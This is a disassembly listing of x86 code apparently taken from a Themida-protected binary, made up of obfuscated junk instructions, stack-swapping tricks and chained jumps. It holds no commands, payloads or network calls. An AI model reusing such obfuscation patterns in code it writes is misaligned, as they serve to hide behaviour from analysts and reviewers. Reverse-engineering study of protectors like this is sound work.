		pop	edi
		xchg	ecx, [esp-0Ch+arg_8]
		jmp	loc_5668C4
; ---------------------------------------------------------------------------


loc_56D077:				; CODE XREF: sub_55EDA7+C28Ej
		pop	ebx
		mov	edx, [esp+0]
		add	esp, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		ror	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56D094:				; CODE XREF: sub_55EDA7+936Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Eh+var_E]
		pop	esp
		jmp	loc_569EE7
; ---------------------------------------------------------------------------


loc_56D0A9:				; CODE XREF: sub_55EDA7+3DFj
		add	eax, edi
		jmp	loc_570025
; ---------------------------------------------------------------------------


loc_56D0B0:				; CODE XREF: sub_55EDA7+11DCDj
		push	edi
		push	59B83F6Dh
		pop	edi
		and	edi, 1912E5Ah
		push	edx
		push	7FA9h
		mov	[esp+2Ch+var_2E+2], ebp
		jmp	loc_56E135
; ---------------------------------------------------------------------------


loc_56D0CB:				; CODE XREF: sub_55EDA7+982Cj
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], eax
		xor	eax, [esp-10h+arg_C]
		pop	esp
		jmp	loc_56350B
; ---------------------------------------------------------------------------


loc_56D0E8:				; CODE XREF: sub_55EDA7+70A9j
		or	ebp, 75E86F84h
		xor	ebp, 76950037h
		push	esi
		mov	esi, 6A050A0Fh
		sub	esi, 0FFFFFFFFh
		sub	esi, 283C2B87h
		jmp	loc_560963
; ---------------------------------------------------------------------------


loc_56D108:				; CODE XREF: sub_55EDA7+11F16j
		add	eax, ebx
		jmp	loc_572CBF
; ---------------------------------------------------------------------------


loc_56D10F:				; CODE XREF: sub_55EDA7+BCA0j
		pop	ecx
		add	ebx, eax
		push	[esp+2Ch+var_2E+2]
		pop	eax
		add	esp, 4
		push	ebx
		push	[esp+2Ch+var_2A+2]
		jmp	loc_56AA34
; ---------------------------------------------------------------------------


loc_56D123:				; CODE XREF: sub_55EDA7+C5EEj
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		add	ebp, 0EC47EFA1h
		xor	edi, ebp
		mov	ebp, [esp+2Eh+var_2E]
		add	esp, 4
		dec	edi
		push	esi
		push	edx
		push	4ADD3295h
		pop	edx
		not	edx
		xor	edx, 43AD56FBh
		sub	edx, 5BF01A05h
		jmp	loc_56720E
; ---------------------------------------------------------------------------


loc_56D153:				; CODE XREF: sub_55EDA7+11579j
		push	eax
		jmp	loc_566FC8
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D159:				; CODE XREF: Themida_:005708FEj
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_55F9EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572AFB


loc_56D16E:				; CODE XREF: sub_572AFB+1j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560C3E
; END OF FUNCTION CHUNK	FOR sub_572AFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D17B:				; CODE XREF: sub_55EDA7+1391Cj
		pop	esi
		sub	esp, 4
		jmp	loc_56E3E2
; ---------------------------------------------------------------------------


loc_56D184:				; CODE XREF: sub_55EDA7+39Aj
		add	esp, 4
		xor	edi, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], edi
		jmp	loc_56D96F
; ---------------------------------------------------------------------------


loc_56D192:				; CODE XREF: sub_55EDA7+13Dj
		push	eax
		push	1505h
		mov	[esp+20h+var_22+2], esi
		mov	esi, 2DD528BBh
		push	esi
		jmp	loc_566A58
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	small 4C52h
		mov	[esp], sp
		push	small 7003h
		mov	[esp], si
		mov	si, 2
		add	word ptr [esp+2], 7881h
		jmp	loc_55FE34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D1C6:				; CODE XREF: sub_55EDA7+B4E9j
		pop	esi
		add	ecx, 7DA35251h
		jmp	loc_572B07
; ---------------------------------------------------------------------------


loc_56D1D2:				; CODE XREF: sub_55EDA7+3F56j
		shr	esi, 7
		add	esi, 0FF69D1C4h
		push	edx
		mov	edx, 16D563FBh
		jmp	loc_56F193
; ---------------------------------------------------------------------------


loc_56D1E6:				; CODE XREF: sub_55EDA7+10640j
		pop	edi
		xor	edx, 2B856B2Ah
		xor	ebp, edx
		push	[esp+12h+var_12]
		pop	edx
		add	esp, 4
		xor	ebp, 2629750Fh
		xor	ebp, 224A2C1Dh
		jmp	sub_572A8F
; ---------------------------------------------------------------------------


loc_56D20A:				; CODE XREF: sub_55EDA7+B3F4j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp-0Eh+arg_C+2]
		pop	ecx
		pop	[esp-0Eh+arg_8+2]
		mov	esp, [esp-12h+arg_C+2]
		mov	[esp-12h+arg_C+2], ecx
		jmp	loc_56D573
; ---------------------------------------------------------------------------


loc_56D22D:				; CODE XREF: sub_55EDA7+4547j
		pop	ebp
		add	edi, edx
		sub	edi, 2B935D8Dh
		push	[esp+1Ah+var_1A]
		pop	edx
		jmp	loc_564823
; ---------------------------------------------------------------------------


loc_56D23F:				; CODE XREF: sub_55EDA7+C67Ej
		xor	ebp, 547A1BFCh
		jmp	loc_5627F8
; ---------------------------------------------------------------------------


loc_56D24A:				; CODE XREF: sub_55EDA7+6376j
		mov	ecx, 6E8B20A9h
		add	eax, ecx
		pop	ecx
		sub	eax, 1CF178C0h
		jmp	loc_570BB8
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D25C:				; DATA XREF: Themida_:0055E078o
		mov	ax, [esp]
		push	ebp
		jmp	loc_560E2D

; =============== S U B	R O U T	I N E =======================================



sub_56D266	proc near		; CODE XREF: sub_55EDA7+E0AAj

var_4		= dword	ptr -4

		push	ebx
		not	[esp+4+var_4]
		pop	ebx
		inc	ebx
		shl	ebx, 2
		jmp	loc_565F25
sub_56D266	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D274:				; CODE XREF: sub_55EDA7+E59Dj
		add	ebx, edi
		sub	ebx, 28CF5E5Dh
		add	ebx, 1AF6549Ch
		pop	edi
		xor	ebx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], ebx
		xor	ebx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		push	ebp
		mov	ebp, 1071DCFh
		jmp	loc_568104
; ---------------------------------------------------------------------------


loc_56D29A:				; CODE XREF: sub_55EDA7+133Cj
		pop	ecx
		sub	esi, 74E025C1h
		add	esi, edx
		push	ebx
		mov	ebx, 24EA4837h
		not	ebx
		add	ebx, 99CA6DF9h
		add	esi, 74DB71DFh
		add	esi, ebx
		push	eax
		mov	eax, 6CA53401h
		jmp	loc_561986
; ---------------------------------------------------------------------------


loc_56D2C4:				; CODE XREF: sub_55EDA7+98B8j
		sub	al, bl
		add	al, 67h
		jmp	loc_562D02
; ---------------------------------------------------------------------------


loc_56D2CD:				; CODE XREF: sub_55EDA7+26FEj
		pop	edi
		jmp	loc_56676F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D2D3:				; CODE XREF: Themida_:0056D017j
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		pop	ecx
		dec	esi
		jmp	loc_568229
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E91D


loc_56D2DF:				; CODE XREF: sub_56E91D+34A9j
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_55E1FB
; END OF FUNCTION CHUNK	FOR sub_56E91D

; =============== S U B	R O U T	I N E =======================================



sub_56D2EE	proc near		; CODE XREF: sub_55EDA7+2402j

; FUNCTION CHUNK AT 0056D7AB SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 5F52072Dh
		sub	ecx, ebx
		jmp	loc_56D7AB
sub_56D2EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D2FB:				; CODE XREF: sub_55EDA7+12706j
		mov	esi, 5F411CD5h
		jmp	loc_56BF8A
; ---------------------------------------------------------------------------


loc_56D305:				; CODE XREF: sub_55EDA7+2F60j
		xor	eax, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], eax
		xor	eax, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		jmp	loc_561764
; ---------------------------------------------------------------------------


loc_56D316:				; CODE XREF: sub_55EDA7+C893j
		add	esp, 4
		jmp	loc_566594
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DB0B


loc_56D31E:				; CODE XREF: sub_56DB0B+Ej
		push	edx
		jmp	loc_571870
; END OF FUNCTION CHUNK	FOR sub_56DB0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D324:				; CODE XREF: sub_55EDA7+10618j
		xchg	ebx, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_56882C
; ---------------------------------------------------------------------------


loc_56D32D:				; CODE XREF: sub_55EDA7+8A8Bj
		push	0E45AB5Fh
		pop	edx
		sub	eax, edx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		sub	ebx, eax
		pop	eax
		add	ebx, 28CF5E5Dh
		jmp	loc_56D274
; ---------------------------------------------------------------------------


loc_56D349:				; CODE XREF: sub_55EDA7+B2ACj
		mov	[esp-14h+arg_10], esp
		jmp	loc_561415
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_56D351:				; CODE XREF: sub_56D8B3-F178j
		push	[esp+0Ch+var_C]
		pop	ebx
		push	eax
		jmp	loc_572D87
; END OF FUNCTION CHUNK	FOR sub_56D8B3
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 9161A43h
		sub	edx, 396F778Ah
		mov	ebp, edx
		jmp	loc_56BA6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D374:				; CODE XREF: sub_55EDA7+76C8j
		mov	edx, 6662567Fh
		jmp	loc_56B3CC
; ---------------------------------------------------------------------------


loc_56D37E:				; CODE XREF: sub_55EDA7+8511j
		push	esi
		mov	esi, 1AC6607h
		and	ebp, esi
		pop	esi
		dec	ebp
		shl	ebp, 1
		jmp	loc_56BAB6
; ---------------------------------------------------------------------------


loc_56D38F:				; CODE XREF: sub_55EDA7+B3C3j
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		xchg	esi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		push	7533h
		mov	[esp-0Ch+arg_8], eax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56D3A8:				; CODE XREF: sub_55EDA7+12519j
		not	ecx
		xchg	ecx, [esp-0Ch+arg_8]
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		push	ecx
		jmp	loc_570A98
; ---------------------------------------------------------------------------


loc_56D3B9:				; CODE XREF: sub_55EDA7+610j
		mov	edx, 62445AABh
		neg	edx
		or	edx, 636C5DF1h
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	ecx
		mov	ecx, 25395EBCh
		push	ebp
		mov	ebp, 6AD525B3h
		not	ebp
		xor	ebp, 902ECDACh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5677B9
; ---------------------------------------------------------------------------


loc_56D3E8:				; CODE XREF: sub_55EDA7+4AA9j
		pop	esp
		mov	[esp-30h+arg_2C], ebx
		push	0
		pop	ebx
		add	ebx, ecx
		push	ecx
		mov	ecx, 0
		jmp	loc_562CB1
; ---------------------------------------------------------------------------


loc_56D3FF:				; CODE XREF: sub_55EDA7+10E94j
		add	edx, 77AF39E7h
		sub	edx, 10A45E96h
		jmp	loc_56BBD6
; ---------------------------------------------------------------------------


loc_56D410:				; CODE XREF: sub_55EDA7+11C33j
		push	edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		jmp	loc_560179
; ---------------------------------------------------------------------------


loc_56D424:				; CODE XREF: sub_55EDA7+1343Dj
		mov	edx, [esp-2Ch+arg_28]
		sub	esp, 4
		mov	[esp-28h+arg_24], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp-28h+arg_24]
		pop	esp
		mov	[ecx], bl
		push	[esp-2Ch+arg_28]
		jmp	loc_56710C
; ---------------------------------------------------------------------------


loc_56D44F:				; CODE XREF: sub_55EDA7+9488j
		push	esi
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		pop	esi
		pop	edx
		inc	esi
		sub	esi, 0BB9E2031h
		push	edi
		mov	edi, 54870902h
		jmp	loc_5629DA
; ---------------------------------------------------------------------------


loc_56D46D:				; CODE XREF: sub_55EDA7+126Cj
		dec	esi
		not	esi
		sub	esi, 7A5D1C82h
		sub	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp-18h+arg_14], ebp
		mov	ebp, 33D53615h
		dec	ebp
		jmp	loc_56C655
; ---------------------------------------------------------------------------


loc_56D48A:				; CODE XREF: sub_55EDA7+6CF2j
		add	ebp, 35287179h
		add	ebp, 50D34FACh
		jmp	loc_5669F0
; ---------------------------------------------------------------------------


loc_56D49B:				; CODE XREF: sub_55EDA7+9407j
		sub	ebx, 438077C0h
		jmp	loc_56E958
; ---------------------------------------------------------------------------


loc_56D4A6:				; CODE XREF: sub_55EDA7+BFDEj
		sub	eax, 76485C67h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	eax, ebp
		pop	ebp
		jmp	loc_56FD1E
; ---------------------------------------------------------------------------


loc_56D4B9:				; CODE XREF: sub_55EDA7+11E31j
		or	ecx, 5B9D2AE5h
		sub	ecx, 66521695h
		jmp	loc_568A9E
; ---------------------------------------------------------------------------


loc_56D4CA:				; CODE XREF: sub_55EDA7+853Aj
		pop	edx
		xor	ecx, [esp-10h+arg_C]
		jmp	loc_56E9CF
; ---------------------------------------------------------------------------


loc_56D4D3:				; CODE XREF: sub_55EDA7+9B6Ej
		sub	ebp, eax
		pop	eax
		pop	edi
		xor	eax, ebp
		jmp	loc_569E2F
; ---------------------------------------------------------------------------


loc_56D4DE:				; CODE XREF: sub_55EDA7+7C20j
		add	esp, 2
		xor	bl, al
		jmp	loc_565633
; ---------------------------------------------------------------------------


loc_56D4E8:				; CODE XREF: sub_55EDA7+E815j
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		jmp	loc_56C19E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FABD


loc_56D4F3:				; CODE XREF: sub_56FABD+Cj
		xor	ebx, ebp
		pop	ebp
		jmp	loc_562E09
; END OF FUNCTION CHUNK	FOR sub_56FABD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D4FB:				; CODE XREF: sub_55EDA7+3D85j
		add	esp, 4
		neg	eax
		shr	eax, 3
		jmp	loc_56AEA6
; ---------------------------------------------------------------------------


loc_56D50B:				; CODE XREF: sub_55EDA7+1C69j
		sub	bl, 0CDh
		push	[esp-14h+arg_10]
		pop	edx
		add	esp, 4
		movzx	eax, al
		mov	dx, word ptr [esp-18h+arg_14]
		sub	esp, 4
		mov	[esp-14h+arg_10], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, 397B4CC6h
		sub	ecx, 2F434BB7h
		add	ecx, ebp
		add	ecx, 2F434BB7h
		sub	ecx, 397B4CC6h
		pop	ebp
		push	esi
		push	767C068Bh
		push	[esp-0Ch+arg_8]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-8+arg_4]
		pop	esp
		push	ebx
		mov	ebx, 6FD85E7Eh
		and	ebx, 49CD0A7Fh
		jmp	loc_56929B
; ---------------------------------------------------------------------------


loc_56D573:				; CODE XREF: sub_55EDA7+E481j
		push	7AA6h
		mov	[esp-0Eh+arg_8+2], ebx
		mov	bh, dl
		mov	cl, bh
		mov	ebx, [esp-0Eh+arg_8+2]
		add	esp, 4
		mov	ah, cl
		pop	ecx
		mov	dl, byte ptr [esp-16h+arg_14]
		mov	byte ptr [esp-16h+arg_14], ah
		mov	ax, word ptr [esp-16h+arg_10+2]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp-16h+arg_10+2], dx
		xchg	dl, byte ptr [esp-16h+arg_10+2]
		not	dl
		xchg	dl, byte ptr [esp-16h+arg_10+2]
		pop	dx
		push	40F0h
		mov	[esp-14h+arg_10], ecx
		push	ebx
		mov	bl, dl
		jmp	loc_56D4E8
; ---------------------------------------------------------------------------


loc_56D5C1:				; CODE XREF: sub_55EDA7+10336j
		mov	eax, 566943F2h
		jmp	loc_5656F4
; ---------------------------------------------------------------------------


loc_56D5CB:				; CODE XREF: sub_55EDA7+3388j
		xchg	eax, [esp+10h+var_12+2]
		pop	esp
		sub	ebp, 65212888h
		sub	ebp, ecx
		add	ebp, 65212888h
		pop	ecx
		jmp	loc_572BD7
; ---------------------------------------------------------------------------


loc_56D5E3:				; CODE XREF: sub_55EDA7+B951j
		mov	esp, [esp+1Eh+var_1E]
		push	edx
		push	ebx
		push	12332134h
		jmp	loc_56FB79
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D5F2	proc near		; CODE XREF: sub_55EDA7+137F0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005720E3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0057251A SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_57251A
sub_56D5F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D5FD:				; CODE XREF: sub_55EDA7+131B0j
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2A]
		pop	esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_56B63F
; ---------------------------------------------------------------------------


loc_56D615:				; CODE XREF: sub_55EDA7+6383j
		push	2628h
		mov	[esp+40h+var_42+2], ebx
		jmp	loc_55F8C4
; ---------------------------------------------------------------------------


loc_56D622:				; CODE XREF: sub_55EDA7+CEC7j
		xor	ebx, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebx
		xor	ebx, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		push	36D5h
		jmp	loc_56C6E1
; ---------------------------------------------------------------------------


loc_56D638:				; CODE XREF: sub_55EDA7+4347j
		add	esi, 4
		push	esi
		push	[esp+26h+var_22]
		jmp	loc_564051
; ---------------------------------------------------------------------------


loc_56D645:				; CODE XREF: sub_55EDA7+D163j
		push	14Ah
		mov	[esp+18h+var_1A+2], edx
		push	50FB6B0Ch
		pop	edx
		jmp	loc_56A6CD
; ---------------------------------------------------------------------------


loc_56D658:				; CODE XREF: sub_55EDA7+243Aj
		pop	edx
		xchg	ecx, [esp-1Ch+arg_18]
		pop	esp
		pop	[esp-20h+arg_1C]
		push	44D2h
		mov	[esp-20h+arg_1C], eax
		sub	esp, 4
		mov	[esp-1Ch+arg_18], edx
		mov	edx, 22813BC3h
		jmp	loc_56452E
; ---------------------------------------------------------------------------


loc_56D678:				; CODE XREF: sub_55EDA7-7BBj
		push	[esp-24h+arg_24]
		pop	esi
		pop	[esp-24h+arg_20]
		mov	esp, [esp-28h+arg_24]
		mov	word ptr [esp-28h+arg_24], ax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56D68C:				; CODE XREF: sub_55EDA7+7B75j
		xor	esi, [esp+2+var_4+2]
		jmp	loc_571439
; ---------------------------------------------------------------------------


loc_56D694:				; CODE XREF: sub_55EDA7+38BDj
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+28h+var_2A+2], eax
		jmp	loc_566115
; ---------------------------------------------------------------------------


loc_56D6A8:				; CODE XREF: sub_55EDA7-5D3j
		pop	ebx
		jmp	loc_570D77
; ---------------------------------------------------------------------------


loc_56D6AE:				; CODE XREF: sub_55EDA7+FB9Dj
		push	[esp-30h+arg_2C]
		mov	edx, [esp-2Ch+arg_28]
		jmp	loc_565FB4
; ---------------------------------------------------------------------------


loc_56D6B9:				; CODE XREF: sub_55EDA7+CD65j
		mov	eax, 5A641CBBh
		and	ecx, eax
		pop	eax
		and	ecx, 6A221FEEh
		sub	ecx, 35280578h
		jmp	loc_56C41A
; ---------------------------------------------------------------------------


loc_56D6D2:				; CODE XREF: sub_55EDA7+A32j
		pop	eax
		shr	ecx, 5
		push	ebp
		mov	ebp, 2BCA3D27h
		xor	ebp, 75B07269h
		sub	ebp, 4A0B2385h
		jmp	loc_5662DA
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D6ED	proc near		; CODE XREF: sub_55EDA7+C9E4j

; FUNCTION CHUNK AT 0056E12E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005729BC SIZE 0000000A BYTES

		push	ebx
		jmp	loc_5729BC
sub_56D6ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D6F3:				; CODE XREF: sub_55EDA7+B2BAj
		xor	edx, esi
		jmp	loc_561B24
; ---------------------------------------------------------------------------


loc_56D6FA:				; CODE XREF: sub_55EDA7+793Bj
		push	edx
		mov	edx, 7CD77B41h
		or	esi, edx
		pop	edx
		xor	esi, 39E117C1h
		jmp	loc_562959
; ---------------------------------------------------------------------------


loc_56D70E:				; CODE XREF: sub_55EDA7+C825j
		mov	esi, 1C4B33C4h
		or	ebx, esi
		pop	esi
		jmp	loc_5646DE
; ---------------------------------------------------------------------------


loc_56D71B:				; CODE XREF: sub_55EDA7+94Dj
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-0Eh+arg_8+2], edx
		jmp	loc_56506D
; ---------------------------------------------------------------------------


loc_56D737:				; CODE XREF: sub_55EDA7-383j
		mov	ebx, 2317B0Ah
		jmp	loc_57139E
; ---------------------------------------------------------------------------


loc_56D741:				; CODE XREF: sub_55EDA7+6CB3j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		pop	[esp-8+arg_4]
		pop	esp
		mov	[esp-10h+arg_C], edx
		jmp	loc_563223
; ---------------------------------------------------------------------------


loc_56D75D:				; CODE XREF: sub_55EDA7+6C98j
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	edx
		jmp	loc_560316
; ---------------------------------------------------------------------------


loc_56D76C:				; CODE XREF: sub_55EDA7+FA6Fj
		push	esi
		mov	esi, 1B3851C9h
		sub	eax, esi
		pop	esi
		sub	eax, 31C05512h
		add	eax, ebx
		add	eax, 31C05512h
		jmp	loc_572C06
; ---------------------------------------------------------------------------


loc_56D786:				; CODE XREF: sub_55EDA7+FF00j
		mov	eax, 5D37672Dh
		xor	eax, 6AA83563h
		add	eax, 299D1807h
		and	edx, eax
		pop	eax
		xor	edx, 629B3D8Eh
		jmp	loc_570DF2
; ---------------------------------------------------------------------------


loc_56D7A3:				; CODE XREF: sub_55EDA7-956j
		add	ebp, 4
		jmp	loc_560C25
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D2EE


loc_56D7AB:				; CODE XREF: sub_56D2EE+8j
		pop	ebx
		shr	ecx, 5
		jmp	loc_56652C
; END OF FUNCTION CHUNK	FOR sub_56D2EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D7B4:				; CODE XREF: sub_55EDA7+ACD8j
		mov	bh, 2Ch
		not	bh
		dec	bh
		jmp	loc_56EB80
; ---------------------------------------------------------------------------


loc_56D7BF:				; CODE XREF: sub_55EDA7+579j
		add	ebx, 4
		push	esi
		jmp	loc_560B25
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D7CB:				; CODE XREF: Themida_:0056E2EAj
		push	edx
		push	esp
		pop	edx
		push	ebp
		jmp	loc_568F1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D7D4:				; CODE XREF: sub_55EDA7+106C1j
		or	ebx, 727F7C22h
		neg	ebx
		jmp	loc_564BE7
; ---------------------------------------------------------------------------


loc_56D7E1:				; CODE XREF: sub_55EDA7+FD51j
		mov	ebp, 452738E7h
		sub	ebp, 4E3E002Ch
		shr	ebp, 5
		dec	ebp
		xor	ebp, 7B749C0h
		jmp	loc_562A94
; ---------------------------------------------------------------------------


loc_56D7FB:				; CODE XREF: sub_55EDA7+13D11j
		mov	edi, 613376F1h
		jmp	loc_56F137
; ---------------------------------------------------------------------------


loc_56D805:				; CODE XREF: sub_55EDA7+57BBj
		push	edx
		mov	dh, 42h
		jmp	loc_561F1E
; ---------------------------------------------------------------------------


loc_56D80D:				; CODE XREF: sub_55EDA7+10AE0j
		xor	edx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edx
		not	edx
		xor	[esp-10h+arg_C], edx
		jmp	loc_56AAE3
; ---------------------------------------------------------------------------


loc_56D81D:				; CODE XREF: sub_55EDA7+B4Aj
		or	[esp+3Ch+var_3E+2], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56D826:				; CODE XREF: sub_55EDA7+F033j
		pop	esi
		jmp	loc_5702BE
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D82C	proc near		; CODE XREF: sub_55EDA7+B06Dj
		push	ebx
		jmp	loc_5661AC
sub_56D82C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D832:				; CODE XREF: sub_55EDA7+528Dj
		push	5E4Bh
		mov	[esp+6+var_8+2], ebx
		push	esi
		mov	esi, 54EF7706h
		push	0C597B11h
		mov	ebx, [esp+0Eh+var_E]
		add	esp, 4
		push	ecx
		mov	ecx, 6E357E08h
		inc	ecx
		jmp	loc_560FA4
; ---------------------------------------------------------------------------


loc_56D857:				; CODE XREF: sub_55EDA7+8CB9j
		sub	edi, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_55E913
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D867	proc near		; CODE XREF: sub_55EDA7+D95Aj
		push	ebx
		jmp	loc_56A3B6
sub_56D867	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D86D:				; CODE XREF: sub_55EDA7+120BFj
		mov	[esp-10h+arg_C], ebp
		mov	ebp, 1C8D7F54h
		jmp	loc_56A97A
; ---------------------------------------------------------------------------


loc_56D87A:				; CODE XREF: sub_55EDA7+7E5Dj
		mov	[esp+20h+var_22+2], esp
		add	[esp+20h+var_22+2], 4
		jmp	loc_55F81F
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D886	proc near		; CODE XREF: sub_55EDA7+4B59j
		push	ebp
		jmp	loc_563E6E
sub_56D886	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D88C:				; CODE XREF: sub_55EDA7+91EEj
		pop	[esp-1Ch+arg_18]
		add	[esp-20h+arg_1C], 4
		pop	ebp
		push	3B67h
		mov	[esp-20h+arg_1C], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		push	[esp-1Ch+arg_18]
		pop	edi
		add	esp, 4
		add	ebp, edx
		pop	edx
		jmp	loc_56AEB2
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D8B3	proc near		; CODE XREF: sub_55EDA7+AF7Aj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055E73A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D351 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DF5F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056E44C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F63F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572D87 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 1
		and	ecx, ebp
		push	[esp+4+var_4]
		pop	ebp
		push	ebx
		jmp	loc_55E73A
sub_56D8B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D8C5:				; CODE XREF: sub_55EDA7+137DBj
		push	[esp-24h+arg_20]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56FD07
; ---------------------------------------------------------------------------


loc_56D8D7:				; CODE XREF: sub_55EDA7+972Aj
		push	edx
